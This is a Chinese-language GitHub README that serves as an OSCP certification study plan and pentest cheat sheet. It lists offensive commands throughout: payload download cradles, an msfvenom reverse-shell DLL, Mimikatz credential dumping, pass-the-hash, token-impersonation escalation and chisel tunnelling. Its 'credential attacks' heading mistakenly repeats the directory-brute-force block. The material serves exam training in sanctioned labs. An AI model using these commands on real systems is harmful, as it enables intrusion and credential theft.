jeffaf/oscp-prep-checklist
GitHub: jeffaf/oscp-prep-checklist
一份结构化 OSCP 备考与实战检查清单,解决如何系统化准备考试并高效完成渗透路径的问题。
Stars: 58 | Forks: 13
# OSCP 准备清单
**作者:Jeff Barron (OSCP, CRTO)**
## 📊 考试结构
- **3 台独立机器**(共 60 分)
- 初始访问 10 分
- 权限提升 10 分
- **1 套 AD 环境**(包含 3 台机器,共 40 分)
- **70/100 分及格**
- **考试时长 23 小时 45 分钟**
- **可重置 24 次(最多重置一次限制)**
**通过组合:**
- 完整 AD(40 分)+ 3 个 local.txt 标志(30 分)= 70 ✅
- 完整 AD(40 分)+ 2 个 local.txt + 1 个 proof.txt = 70 ✅
- 部分 AD(20 分)+ 3 台完整独立机器(60 分)= 80 ✅
## 📸 证明文件要求(不要丢分!)
- **local.txt** = 无特权用户访问
- **proof.txt** = 仅 root/Administrator 可访问
**每一张截图必须包含:**
1. 证明文件内容(`cat proof.txt` 或 `type proof.txt`)
2. IP 地址(`ip addr` 或 `ipconfig`)
3. **在同一张截图内**
4. 来自**交互式 Shell**(Web Shell 得分为零)
## 📅 90 天学习计划
### 第一个月:基础
- [ ] 完成 OffSec PEN-200 课程资料
- [ ] 设置你的攻击虚拟机(Kali)并建立笔记系统
- [ ] 每天观看 IppSec 视频,同时进行其他任务
- [ ] 开始 TJ Null 的播放列表:https://youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf
- [ ] 在 Proving Grounds Practice 上练习 10–15 个简单靶机
- [ ] 加入 r/oscp,阅读通过/失败案例以获取洞见
### 第二个月:中级技能
- [ ] 专注 Proving Grounds **中级**靶机(OffSec 出品)
- [ ] 构建你的枚举方法并使其可重复
- [ ] 熟悉 Active Directory 攻击
- [ ] 练习使用 chisel 和 SSH 隧道进行 pivoting
- [ ] **创建你自己的速查表。** 最好的速查表是你自己写的:
- 枚举速查表(常用命令)
- 权限提升速查表(Windows + Linux)
- 通用参考(文件传输、Shell、Pivoting)
### 第三个月:OSCP 准备就绪
- [ ] 如果能在不依赖 walkthrough 的情况下通过 PG 中级靶机,你已准备好
- [ ] 练习报告撰写。不要等到考试当天才做
- [ ] 学习使用截图工具(Snipping Tool)或获取 Greenshot
- [ ] 复习笔记中的薄弱环节
- [ ] 安排考试时间
## 🚫 不建议学习的内容
进攻性安全范围广泛,容易让人不知所措。请专注于 PEN-200 涵盖的内容,跳过以下部分:
- **高级 AD 攻击**(坚持基础)
- **钓鱼攻击**(考试不涉及)
- **EDR/AV 绕过**(靶机不会安装 EDR 或 AV)
- **网络攻击**(Responder、ARP 欺骗、bettercap)
- **Metasploit 深入模块**(不需要模块级别的使用)
**兔子洞警告:** 如果你修改一个利用脚本,仅仅是更改 IP 地址以外的东西,那你正在进入兔子洞。请继续前进。
## ⚠️ 考试限制
**Metasploit 规则:**
- `msfvenom` + `multi/handler` = 在所有靶机上允许
- 模块(Auxiliary/Exploit/Post)+ Meterpreter = 仅限**一台**靶机
- 一旦对某个目标使用模块,就被锁定到该目标
- 不得用于 pivoting(会触及多个目标)
**禁用工具:**
- SQLmap、SQLninja、自动利用工具
- 大规模扫描器(Nessus、OpenVAS 等)
- AI 聊天机器人(ChatGPT、OffSec KAI 等)
- 商业工具(Burp Pro、Metasploit Pro 等)
## 🛠️ 必备工具
### 枚举
```
# 端口扫描
nmap -sC -sV -oN scan.txt
nmap -p- --min-rate 1000
# SMB
netexec smb -u '' -p ''
smbclient -L /// -N
smbmap -H
# LDAP
ldapsearch -x -H ldap:// -b "DC=domain,DC=local"
# SNMP
snmp-check
```
### Web
```
# 目录爆破
feroxbuster -u http:// -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 了解你的 Webshell
ls /usr/share/webshells/
# php, asp, aspx, jsp:了解何时使用
```
### 文件传输
```
# HTTP 服务器(攻击者)
python3 -m http.server 80
# SMB 服务器(攻击者)
impacket-smbserver share . -smb2support
# Windows 下载
certutil -urlcache -f http:///file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http:///file.exe','file.exe')"
iwr -uri http:///file.exe -outfile file.exe
# Linux 下载
wget http:///file.sh
curl http:///file.sh -o file.sh
```
### Impacket 套件(需掌握)
```
psexec domain/user:password@
wmiexec domain/user:password@
smbexec domain/user:password@
secretsdump domain/user:password@
GetUserSPNs -request domain/user:password -dc-ip
```
### netexec
```
netexec smb -u user -p pass
netexec smb -u user -p pass --shares
netexec smb -u user -p pass -x "whoami"
netexec smb -u user -H # pass the hash
netexec winrm -u user -p pass
```
### RDP 与 winrm(会看到)
```
# RDP
xfreerdp /u:username /p:'password' /v:
# Evil-WinRM(端口 5985)
evil-winrm -i -u user -p pass
evil-winrm -i -u user -p pass -S # port 5986 (SSL)
evil-winrm -i -u user -H # pass the hash
```
### SMB
```
# smbclient
smbclient -L // # list shares
smbclient ///
smbclient /// -U
smbclient /// -U domain/username
# smbmap
smbmap -H
smbmap -H -u -p
smbmap -H -u -p -d
smbmap -H -u -p -r
```
### LDAP 与 RPC
```
# ldapsearch
ldapsearch -x -H ldap:// -b "DC=domain,DC=local"
ldapsearch -x -H ldap:// -D "user@domain.local" -w 'pass' -b "DC=domain,DC=local"
# rpcclient
rpcclient -U="user"
rpcclient -U="" # anonymous login
```
### 漏洞利用查找器
```
searchsploit
searchsploit -m # copy to current dir
```
### 反弹 Shell
- **revshells.com**:适用于所有语言/格式的快速反弹 Shell 生成器
## 🔍 枚举方法
### 初始扫描
1. [ ] 全端口扫描:`nmap -p- --min-rate 1000 `
2. [ ] 对开放端口进行服务扫描:`nmap -sC -sV -p `
3. [ ] 检查低垂果实:匿名 FTP、SMB 空会话、默认凭据
### Web(80/443)
1. [ ] 先手动浏览并查看源代码
2. [ ] 使用 feroxbuster/gobuster 进行目录爆破
3. [ ] 检查是否为 CMS(WordPress、Drupal 等)并运行特定扫描器
4. [ ] 测试 SQL 注入、LFI、文件上传漏洞
5. [ ] 检查 `/robots.txt`、`/.git/`、/backup/ 和 /api
### SMB(139/445)
1. [ ] 空会话:`netexec smb -u '' -p ''`
2. [ ] 列出共享:`smbclient -L /// -N`
3. [ ] 检查共享的读写权限
4. [ ] 枚举用户:`enum4linux -a `
### Active Directory
1. [ ] 获取域信息:`ldapsearch` 或 `enum4linux`
2. [ ] 查找用户:kerbrute https://github.com/ropnop/kerbrute
3. 查找 SPN 以进行 Kerberoasting
4. 检查是否可进行 AS-REP 爆破
5. 如果有凭据,使用 BloodHound
## ⬆️ 权限提升
### Windows 权限提升检查表
**现实提醒:** 通常只需运行 WinPEAS 或传递哈希即可。不要过度复杂化。
```
# 首先
whoami /all
net user
systeminfo
```
1. [ ] 运行 **WinPEAS**:`.\winpeas.exe`
2. [ ] 运行 **PowerUp**:`Import-Module .\PowerUp.ps1; Invoke-AllChecks`
3. [ ] 检查 PowerShell 历史记录:`C:\Users\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`
4. [ ] 未加引号的服务路径
5. [ ] 可修改的服务
6. [ ] AlwaysInstallElevated
7. [ ] 存储的凭据:`cmdkey /list`
8. [ ] 令牌模拟(如果存在 SeImpersonate):PrintSpoofer、JuicyPotato、GodPotato
9. [ ] DLL 劫持(检查 WinPEAS 输出中的缺失 DLL)
```
# GodPotato
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "shell.exe"
# msfvenom 用于 DLL 劫持
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f dll -o pwned.dll
```
### Linux 权限提升检查表
```
# 首先升级 Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z,然后:stty raw -echo; fg
```
1. [ ] 运行 **linpeas.sh**
2. [ ] 检查 sudo 权限:`sudo -l`
3. [ ] 查找 SUID 二进制文件:`find / -perm -u=s -type f 2>/dev/null`
4. [ ] 检查能力:`getcap -r / 2>/dev/null`
5. [ ] 检查计划任务:`cat /etc/crontab`,`ls /etc/cron.*`
6. [ ] 检查配置文件、历史记录、环境变量中的凭据
7. [ ] 检查 GTFOBins 中可利用的二进制文件
## 🏢 Active Directory 攻击
### 枚举
```
# 用户和组
net user /domain
net group /domain
net group "Domain Admins" /domain
# PowerView
Import-Module .\PowerView.ps1
Get-NetUser
Get-NetGroup
Get-NetComputer
# PowerView 速查表 https://gist.github.com/macostag/44591910288d9cc8a1ed6ea35ac4f30f
```
### 凭据攻击
```
# 目录爆破
feroxbuster -u http:// -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 了解你的 Webshell
ls /usr/share/webshells/
# php, asp, aspx, jsp:了解何时使用
```
### 横向移动
```
# 传递哈希
psexec -hashes : domain/user@
netexec smb -u user -H
# 传递票据
export KRB5CCNAME=ticket.ccache
psexec -k -no-pass domain/user@
```
### Mimikatz 必备
```
privilege::debug
sekurlsa::logonpasswords # dump creds
sekurlsa::tickets /export # export tickets
lsadump::sam # dump SAM
```
## 🔀 横向移动与隧道
### Chisel(反向 SOCKS 代理)
```
# 在攻击者(服务器)上
./chisel server -p 9001 --reverse
# 在目标(客户端)上
./chisel client :9001 R:socks
# 添加到 /etc/proxychains.conf
socks5 127.0.0.1 1080
# 与 proxychains 一起使用
proxychains nmap -sT
```
### SSH 隧道
```
# 本地端口转发(本地访问远程服务)
ssh -L 8080:127.0.0.1:80 user@
# 远程端口转发(将本地服务暴露给目标)
ssh -R 9001:127.0.0.1:9001 user@
# 动态 SOCKS 代理
ssh -D 1080 user@
```
## 📝 考试日建议
### 时间管理
- [ ] 你有 23 小时 45 分钟。合理使用。
- [ ] 不要在一个靶机上卡超过 2 小时
- [ ] 休息。感到沮丧时离开一下
- [ ] 边做边记录:截图、命令、输出
### 考试策略
- [ ] 从独立靶机开始(不是 AD 套)
- [ ] 先拿容易的分数
- [ ] AD 套通常占 40 分,不要忽略
- [ ] 如果卡住,更深入地枚举。你漏掉了什么
### 报告撰写
- [ ] 使用 OffSec 报告模板
- [ ] 截图每一步作为利用证明
- [ ] 包含所有使用的命令
- [ ] 解释你的方法,而不仅仅是命令
- [ ] 提交前校对
### 常见错误
- [ ] 枚举不彻底
- [ ] 忘记检查明显的内容(默认凭据、源代码)
- [ ] 考试期间未做记录
- [ ] 惊慌。休息是可以的
## 📤 报告提交
- **格式:** 密码保护的 .7z 文件中的 PDF(无密码)
- **文件名:** `OSCP-OS-XXXXX-Exam-Report.7z`(将 XXXXX 替换为你的 OSID)
- **截止时间:** 考试结束后 24 小时
- **上传:** https://upload.offsec.com
- **验证:** 上传后检查 MD5 哈希值
- **模板:** 使用 OffSec 官方模板
**报告必须包含:**
- 可重现的步骤说明(读者可复现)
- 所有使用的命令
- 带有可见 IP 的证明文件截图
- 如果你修改了利用脚本:包含修改内容及解释
## 📚 资源
### 必备资源
- **IppSec TJ Null 播放列表**:https://youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf
- **Proving Grounds 练习**:专注于 OffSec 出品的中级靶机
- **r/oscp**:阅读通过/失败案例,提出问题
- **Orange Cyberdefense 思维导图**:https://orange-cyberdefense.github.io/ocd-mindmaps/
### 快速参考
- **GTFOBins**:https://gtfobins.github.io/(Linux 权限提升)
- **LOLBAS**:https://lolbas-project.github.io/(Windows 免杀)
- **HackTricks**:https://book.hacktricks.xyz/
- **PayloadsAllTheThings**:https://github.com/swisskyrepo/PayloadsAllTheThings
## ✅ 准备就绪检查
在安排考试前,你能做到:
- [ ] 在不依赖太多提示的情况下 Root 一个 PG 中级靶机?
- [ ] 执行基本 AD 攻击(Kerberoasting、PTH、横向移动)?
- [ ] 撰写带有截图和方法的整洁报告?
- [ ] 在卡住时保持冷静并深入枚举?
如果以上都是:**预定考试。你已准备好。**
**祝你好运。相信你的准备。你能行。**
—— Jeff
*我在 [Cred Relay](https://www.credrelay.com) 分享进攻性安全与 AI 相关内容。*
标签:Active Directory, AI合规, chisel, CTF学习, CTI, IppSec, OffSec, OSCP, PEN-200, Plaso, Proving Grounds, SEO: OSCP checklist, SEO: OSCP exam structure, SEO: OSCP methodology, SEO: OSCP prep, SSH隧道, TJ Null, 云存储安全, 内存分配, 内网渗透, 初始访问, 协议分析, 取证与证明, 口令破解, 备考, 复习资料, 学习计划, 安全认证, 实战演练, 应用安全, 报告编写, 攻击虚拟机, 权限提升, 枚举, 横向移动, 笔记系统, 编程规范, 网络扫描, 考试结构, 逆向工具